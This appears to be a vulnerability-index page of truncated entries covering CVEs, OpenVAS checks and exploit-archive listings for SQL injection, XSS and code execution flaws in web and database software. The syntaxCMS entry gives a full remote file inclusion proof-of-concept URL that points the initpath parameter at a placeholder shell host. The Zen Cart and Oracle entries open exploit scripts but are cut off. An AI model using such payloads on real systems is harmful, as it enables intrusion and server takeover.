Video: Wikileaks, Data Security and the SMB

Threatpost editor Paul Roberts discusses issues that matter to small businesses including the impact of the recent Wikileaks debacle and the need for improved endpoint security, patch management and data protection on Pulse Network’s ITEC This Week with hosts Tyler Pyburn and Bill Sell...

php -- corruption of $GLOBALS and $this variables via extract() method

Off-by-one error in the sanity validator for the extract method allowed attackers to replace the values of $GLOBALS and $this when mode EXTROVERWRITE was used...

Discloser 'more' Parameter SQL Injection Vulnerability

The host is running Discloser and is prone to SQL injection vulnerability. OpenVAS Vulnerability Test $Id: secpoddisclosersqlinjvuln.nasl 5394 2017-02-22 09:22:42Z teissa $ Discloser 'more' Parameter SQL Injection Vulnerability Authors: Antu Sanadi Copyright: Copyright c 2010 SecPod,...

Erotik Auktionshaus news.php SQL Injection Vulnerability

Exploit for unknown platform in category web applications ======================================================== Erotik Auktionshaus news.php SQL Injection Vulnerability ======================================================== Erotik Auktionshaus SQL Injection news.php | | ||| | | | | | -| .'| ...

Auktionshaus Gelb 3 - 'news.php' SQL Injection

AuktionshausGelb V.3 SQL Injection news.php | | ||| | | | | | -| .'| || | | | -| | | -| | || ||,|||| ||||| ||| ||||| Script: Auktionshaus Gelb V.3 Vulnerabilities SQL Injection Language: PHP Download: buy this script Founder: ea$y laster Peace to -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14...

Erotik Auktionshaus - 'news.php' SQL Injection

Erotik Auktionshaus SQL Injection news.php | | ||| | | | | | -| .'| || | | | -| | | -| | || ||,|||| ||||| ||| ||||| Script: Erotik Auktionshaus news.php Vulnerabilities SQL Injection Language: PHP Download: buy this script Founder: ea$y laster Peace to -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz...

Erotik Auktionshaus - news.php SQL Injection

Erotik Auktionshaus - news.php SQL Injection Erotik Auktionshaus SQL Injection news.php | | ||| | | | | | -| .'| || | | | -| | | -| | || ||,|||| ||||| ||| ||||| Script: Erotik Auktionshaus news.php Vulnerabilities SQL Injection Language: PHP Download: buy this script Founder: ea$y laster Peace to...

DEBIAN-CVE-2009-3891

Cross-site scripting XSS vulnerability in wp-admin/press-this.php in WordPress before 2.8.6 allows remote authenticated users to inject arbitrary web script or HTML via the s parameter aka the selection variable...

Linux Kernel get_random_int函数不充分随机数漏洞

Linux kernel 2.6.x CVE ID: CVE-2009-3238 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的drivers/char/random.c文件中的getrandomint函数所生成的随机数随机性不够，攻击者可以相对容易的预测返回值，绕过基于随机化的保护机制。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Zen Cart 1.3.8 Remote Code Execution Exploit

No description provided by source. !/usr/bin/php ?php ------- Zen Cart 1.3.8 Remote Code Execution http://www.zen-cart.com/ Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone! A new version 1.3.8a is avaible on http://www.zen-cart.com/ BlackH : errorreportingEALL ^...

Joe Grand on hardware hacking

In this Network World interview at SOURCE Boston, well-known hardware hacker Joe ‘Kingpin’ Grand talks about lessons rom the “Prototype This” show, the changing face of security research and his upcoming vulnerability assessment work. The video also includes an interview with Dan Kaminsky about h...

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection

irokez blog 0.7.3.2 - Cross-Site Scripting Remote File Inclusion Blind SQL Injection ================================================================================ || Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS...

CVE-2007-3802

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2007-0447. Reason: This candidate is a duplicate of CVE-2007-0447. Notes: All CVE users should reference CVE-2007-0447 instead of this candidate. All references and descriptions in this candidate have been removed to prevent...

Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit

No description provided by source. !/usr/bin/perl Remote Oracle DBMSMETADAT.GETDDL exploit 9i/10g Grant or revoke dba permission to unprivileged user Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" REF: http://www.securityfocus.com/bid/16287 AUTHOR: Andrea "bunker"...

syntaxCMS.txt

Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...just used for tests Found by MoHaJaLi Greetz to EddyBAck...

CVE-2006-2785

Cross-site scripting XSS vulnerability in Mozilla Firefox before 1.5.0.4 allows user-assisted remote attackers to inject arbitrary web script or HTML by tricking a user into 1 performing a "View Image" on a broken image in which the SRC attribute contains a Javascript URL, or 2 selecting "Show on...

CVE-2006-2785

Cross-site scripting XSS vulnerability in Mozilla Firefox before 1.5.0.4 allows user-assisted remote attackers to inject arbitrary web script or HTML by tricking a user into 1 performing a "View Image" on a broken image in which the SRC attribute contains a Javascript URL, or 2 selecting "Show on...

Community Link Pro webeditor login.cgi remote command execution

The remote host is running Community Link Pro, a web-based application written in Perl. The remote version of this software contains a flaw in the script 'login.cgi' which may allow an attacker to execute arbitrary commands on the remote host. OpenVAS Vulnerability Test $Id:...

CVE-2005-4562

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was assigned in 2005 to an issue that would not be published until 2006, so new identifiers were assigned. Notes: none...

CVE-2002-0646

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2002-0371. Reason: This candidate is a reservation duplicate of CVE-2002-0371. Notes: CVE-2002-0371 should be used instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidenta...